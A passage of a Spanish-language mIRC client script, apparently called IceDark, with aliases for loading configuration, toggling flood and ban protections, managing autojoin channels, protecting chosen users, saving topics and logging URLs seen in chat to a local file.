  450. n448=  .set %CJPFlood $readini %configfile PROTEC JOINPART
  451. n449=  .set %CBan $readini %configfile PROTEC BAN
  452. n450=  .set %CFServe $readini %configfile FICHEROS FSERVE
  453. n451=  .set %CFichero1 $readini %configfile FICHEROS FICHERO1
  454. n452=  .set %CFichero2 $readini %configfile FICHEROS FICHERO2
  455. n453=  .set %CFichero3 $readini %configfile FICHEROS FICHERO3
  456. n454=  .set %CBOLA $readini %configfile VARIOS BOLA
  457. n455=  .set %CGrab $readini %configfile VARIOS GRAB
  458. n456=  .set %CMusica $readini %configfile MUSICA TOCAR
  459. n457=  .set %CMFichero $readini %configfile MUSICA FICHERO
  460. n458=  .set %CAUTOJOIN $readini %configfile VARIOS AUTOJOIN
  461. n459=  /es 2 Activando Configuraci≤n...
  462. n460=  /es 2 ----------------------------------
  463. n461=  .disable #Split #Graciasop #Quejaop #Graciasdcc #TFLOOD #TOFLOOD #bola0
  464. n462=  .disable #NFLOOD #AFLOOD #NOFLOOD #JPFLOOD #CLONE #CTCPFLOOD #bola1
  465. n463=  .disable #IFLOOD #PBAN #Direc
  466. n464=  .disable #Fichero1 #Fichero2 #Fichero3 #FSer0 #FSer1 #FSer2 #FSer3
  467. n465=  if (%Csplit == S) { .enable #Split | /es 3 Avisador de Splits Activado }
  468. n466=  else /es 4 Avisador de Splits Desactivado
  469. n467=  if (%CGracias == S) { .enable #Graciasop | /es 3 Dar Gracias en OP Activado }
  470. n468=  else /es 4 Dar gracias en op Desactivado
  471. n469=  if (%CQueja == S) { .enable #Quejaop | /es 3 Quejarse en DeOP Activado }
  472. n470=  else /es 4 Quejarse en DeOP Desactivado
  473. n471=  if (%DGracias == S) { .enable #Graciasdcc | /es 3 Dar Gracias en DCC Activado }
  474. n472=  else /es 4 Dar gracias en DCC Desactivado
  475. n473=  if (%CTFLOOD == S) { .enable #TFLOOD | /.set %tfactivado S | /es 3 Protecci≤n Text Flood Activada }
  476. n474=  else /es 4 Protecci≤n Text Flood Desactivada
  477. n475=  if (%CTOFLOOD == S) { .enable #TOFLOOD | /es 3 Protecci≤n Topic Flood Activada }
  478. n476=  else /es 4 Protecci≤n Topic Flood Desactivada
  479. n477=  if (%CNFLOOD == S) { .enable #NFLOOD | /es 3 Protecci≤n Nick Flood Activada }
  480. n478=  else /es 4 Protecci≤n Nick Flood Desactivada
  481. n479=  if (%CAFLOOD == S) { .enable #AFLOOD | /es 3 Protecci≤n Action Flood Activada }
  482. n480=  else /es 4 Protecci≤n Action Flood Desactivada
  483. n481=  if (%CIFLOOD == S) { .enable #IFLOOD | /es 3 Protecci≤n Invite Flood Activada }
  484. n482=  else /es 4 Protecci≤n Invite Flood Desactivada
  485. n483=  if (%NOFLOOD == S) { .enable #NOFLOOD | /es 3 Protecci≤n Notice Flood Activada }
  486. n484=  else /es 4 Protecci≤n Notice Flood Desactivada
  487. n485=  if (%CJPFLOOD == S) { .enable #JPFLOOD | /es 3 Protecci≤n JOIN/PART Activada }
  488. n486=  else /es 4 Protecci≤n Join/Part Desactivada
  489. n487=  if (%CBan == S) { .enable #PBAN | /es 3 Protecci≤n contra BAN Activada }
  490. n488=  else /es 4 Protecci≤n contra BAN Desactivada
  491. n489=  if (%CCFLOOD == S) { .enable #CTCPFLOOD | /es 3 Protecci≤n CTCP Flood Activada }
  492. n490=  else /es 4 Protecci≤n CTCP Flood Desactivada
  493. n491=  if (%CAUTOJOIN == S) { /es 3 Autojoin Activado }
  494. n492=  else /es 4 Autojoin Desactivado
  495. n493=  if (%CFichero1 == S) { .enable #Fichero1 | /es 3 Fichero 1 Activado }
  496. n494=  else /es 4 Fichero 1 Desactivado
  497. n495=  if (%CFichero2 == S) { .enable #Fichero2 | /es 3 Fichero 2 Activado }
  498. n496=  else /es 4 Fichero 2 Desactivado
  499. n497=  if (%CFichero3 == S) { .enable #Fichero3 | /es 3 Fichero 3 Activado }
  500. n498=  else /es 4 Fichero 3 Desactivado
  501. n499=  if (%CFServe == S) /FSACTIV
  502. n500=  else /es 4 File Server Desactivado
  503. n501=  if (%CBOLA == S) /ABOLA
  504. n502=  else /es 4 Bola Mßgica Desactivada
  505. n503=  if (%CMusica == S) { /es 3 Tocando fichero de m·sica. | //.Splay %CMFichero }
  506. n504=  if (%CGrab == S ) { 
  507. n505=    if (%tfactivado == S ) {
  508. n506=      /es 3 Grabadora Activada | /.set %Grabadora S
  509. n507=    }
  510. n508=    else { /es 3 Grabadora Activada | /.set %Grabadora S | /.enable #Direc }
  511. n509=  }
  512. n510=  else { /.set %Grabadora N | /es 4 Grabadora Desactivada }
  513. n511=  /es 2 ----------------------------------
  514. n512=  if (%CAUTOJOIN == S) { /AUTOJOIN }
  515. n513=}
  516. n514=/PSplit {
  517. n515=  if (undernet.org isin *1) { //es 5 *Posible Split: *1 [-IceDark-] | /b | /halt }
  518. n516=  if (irc. isin *1) { //es 5 *Posible Split: *1 12[-IceDark-] | /b | /halt }
  519. n517=}
  520. n518=/AProtec {
  521. n519=  .enable #NFLOOD #TFLOOD #AFLOOD #TOFLOOD #JPFLOOD #CTCPFLOOD #NOFLOOD #IFLOOD #PBAN
  522. n520=  /.set %tfactivado S  
  523. n521=  /es 3 *** Todas las protecciones han sido ACTIVADAS ***
  524. n522=}
  525. n523=/DProtec {
  526. n524=  .disable #NFLOOD #TFLOOD #AFLOOD #TOFLOOD #JPFLOOD #CTCPFLOOD #NOFLOOD #IFLOOD #PBAN
  527. n525=  /.set %tfactivado N
  528. n526=  /es 4 *** Todas las protecciones han sido DESACTIVADAS ***
  529. n527=}
  530. n528=/CAUTOJOIN {
  531. n529=  //.write %dice $+ config\autojoin.ice $?="Introduce canal a a±adir:"
  532. n530=}
  533. n531=/CAUTOJOIN2 {
  534. n532=  //.write %dice $+ config\autojoin.ice $$1
  535. n533=}
  536. n534=/VAUTOJOIN {
  537. n535=  //.set %fjoin %dice $+ config\autojoin.ice
  538. n536=  //.set %final $lines(%fjoin)
  539. n537=  if %final == 0 { /es 4 *** La lista de AUTOJOIN estß vacia *** | halt }
  540. n538=  //.set %listajoin 1
  541. n539=  //.eslin
  542. n540=  //.es 5 Lista de canales para AUTOJOIN :
  543. n541=  :next
  544. n542=  //.set %canaljoin $read -l $+ %listajoin %dice $+ config\autojoin.ice
  545. n543=  //.es 5 ---> %canaljoin
  546. n544=  if %listajoin == %final goto done
  547. n545=  %listajoin = %listajoin + 1
  548. n546=  goto next
  549. n547=  :done
  550. n548=  //.eslin
  551. n549=  //.es 5 *** FIN ***
  552. n550=}
  553. n551=/AUTOJOIN {
  554. n552=  //.set %fjoin %dice $+ config\autojoin.ice
  555. n553=  //.set %finaljoin $lines(%fjoin)
  556. n554=  //.set %listajoin2 1
  557. n555=  if %finaljoin == 0 { /es 4 *** La lista de AUTOJOIN estß vacia *** | halt }
  558. n556=  //.es 6 *** INICIANDO Autojoin ***
  559. n557=  :next
  560. n558=  //.set %canaljoin2 $read -l $+ %listajoin2 %dice $+ config\autojoin.ice
  561. n559=  //join %canaljoin2
  562. n560=  if %listajoin2 == %finaljoin goto done
  563. n561=  //inc %listajoin2
  564. n562=  goto next
  565. n563=  :done
  566. n564=  //.eslin
  567. n565=  //.es 6 *** Autojoin FINALIZADO ***
  568. n566=}
  569. n567=/BAUTOJOIN {
  570. n568=  //.set %fjoin %dice $+ config\autojoin.ice
  571. n569=  //.set %finaljoin $lines(%fjoin)
  572. n570=  if %finaljoin == 0 { /es 4 *** La lista de AUTOJOIN estß vacia *** | halt }
  573. n571=  //.set %borracanal $?="Canal a borrar?"
  574. n572=  //.set %borrajoin 1
  575. n573=  //.es 6 *** Buscando canal en la lista de Autojoin... ***
  576. n574=  :next
  577. n575=  //.set %borracanal2 $read -l $+ %borrajoin %dice $+ config\autojoin.ice
  578. n576=  if %borracanal2 == %borracanal {
  579. n577=    //.write -d $+ %borrajoin %dice $+ config\autojoin.ice
  580. n578=    //.es 5 *** Canal %borracanal ELIMINADO ***
  581. n579=    /halt
  582. n580=  }
  583. n581=  if %borrajoin == %finaljoin {
  584. n582=    //.es 5 *** Canal %borracanal NO  ENCONTRADO ***
  585. n583=    /halt
  586. n584=  }
  587. n585=  //inc %borrajoin
  588. n586=  goto next
  589. n587=}
  590. n588=/BEAUTOJOIN {
  591. n589=  //.write -c %dice $+ config\autojoin.ice
  592. n590=  //.es 4 *** Lista de Autojoin eliminada ***
  593. n591=}
  594. n592=/PROT {
  595. n593=  /.auser -a =300 $$1
  596. n594=  //.writeini %dice $+ config\protect.ice $$1 Direc $address($$1,2)
  597. n595=  //.writeini %dice $+ config\protect.ice $$1 $$2 S
  598. n596=  //.es 4 *** Usuario $$1 protegido en $$2 ***
  599. n597=}
  600. n598=/DESPROT {
  601. n599=  /.ruser =300 $$1
  602. n600=  //.remini %dice $+ config\protect.ice $$1 $$2
  603. n601=  //.es 4 *** Usuario $$1 desprotegido en $$2 ***
  604. n602=}
  605. n603=/DESPROT2 {
  606. n604=  /.ruser =300 $$1
  607. n605=  //.remini %dice $+ config\protect.ice $$1
  608. n606=  //.es 4 *** Usuario $$1 desprotegido en TODOS los canales ***
  609. n607=}
  610. n608=/CPROTECT1 {
  611. n609=  //.set %PPP $readini %dice $+ config\protect.ice $$1 $$2
  612. n610=  if (%PPP == S) {
  613. n611=    if $me isop $$2 { /mode $$2 -o+o $$3 $$1 | /kick $$2 $$3 Usuario $$1 protegido por [-IceDark-] }
  614. n612=  }
  615. n613=}
  616. n614=/CPROTECT2 {
  617. n615=  //.set %PPP $readini %dice $+ config\protect.ice $$1 $$2
  618. n616=  if (%PPP == S) {
  619. n617=    if $me isop $$2 { /mode $$2 -o $$3 | /kick $$2 $$3 Usuario $$1 protegido por [-IceDark-] }
  620. n618=    //Desprot4 $$1
  621. n619=  }
  622. n620=}
  623. n621=/DESPROT4 {
  624. n622=  ;Tiene que comprobar si $$1 estß en alg·n canal tuyo, si estß salta, si no estß, desprotege total
  625. n623=  %dp = 0
  626. n624=  :next
  627. n625=  .inc %dp
  628. n626=  %temp1 = $channel(%dp)
  629. n627=  if (%temp1 == $null) { //.es 4 *** Usuario $$1 desprotegido en TODOS los canales *** | halt }
  630. n628=  if ($$1 ison %temp1) { halt }
  631. n629=  goto next
  632. n630=}
  633. n631=/GT {
  634. n632=  //.writeini [ %dice $+ config\topics.ice ] [ $$1 ] Topic *2
  635. n633=}
  636. n634=/PT {
  637. n635=  //topic # $readini [ %dice $+ config\topics.ice ] [ $$1 ] Topic
  638. n636=}
  639. n637=/VT {
  640. n638=  //.es 12 El topic actual para el canal # es :  $+ $readini [ %dice $+ config\topics.ice ] [ $$1 ] Topic
  641. n639=}
  642. n640=/BT {
  643. n641=  //.remini [ %dice $+ config\topics.ice ] [ $$1 ]
  644. n642=}
  645. n643=/BTT {
  646. n644=  //.write -c [ %dice $+ config\topics.ice ]
  647. n645=}
  648. n646=/desinc /.set %chandes # | /play -c $me [ %dice $+ config\desinc.ice ] 1
  649. n647=/grabad {
  650. n648=  if ( %grabadora != S ) /halt
  651. n649=  /.set %g1 <
  652. n650=  /.set %g2 >
  653. n651=  /.set %g3 www.
  654. n652=  /.set %g4 .com
  655. n653=  /.set %g5 .es
  656. n654=  /.set %g6 .uk
  657. n655=  /.set %g7 .us
  658. n656=  /.set %g8 .mil
  659. n657=  /.set %g9 .gov
  660. n658=  /.set %g10 .inf
  661. n659=  /.set %g11 ftp.
  662. n660=  /.set %g12 http://
  663. n661=  /.set %g13 ftp://
  664. n662=  /.set %g14 gopher://
  665. n663=  if ((%g12 isin *1) || (%g13 isin *1) || (%g11 isin *1) || (%g3 isin *1) || (%g14 isin *1)) { /Graba *1 | halt }
  666. n664=  if ((%g1 isin *1) && (%g2 isin *1)) { /Graba *1 | halt }
  667. n665=  if ((%g4 isin *1) || (%g5 isin *1) || (%g6 isin *1) || (%g7 isin *1) || (%g8 isin *1) || (%g9 isin *1) || (%g10 isin *1)) { /Graba *1 | halt }
  668. n666=}
  669. n667=/Graba {
  670. n668=  //.write [ %dice $+ direc.txt ] *1
  671. n669=}
  672.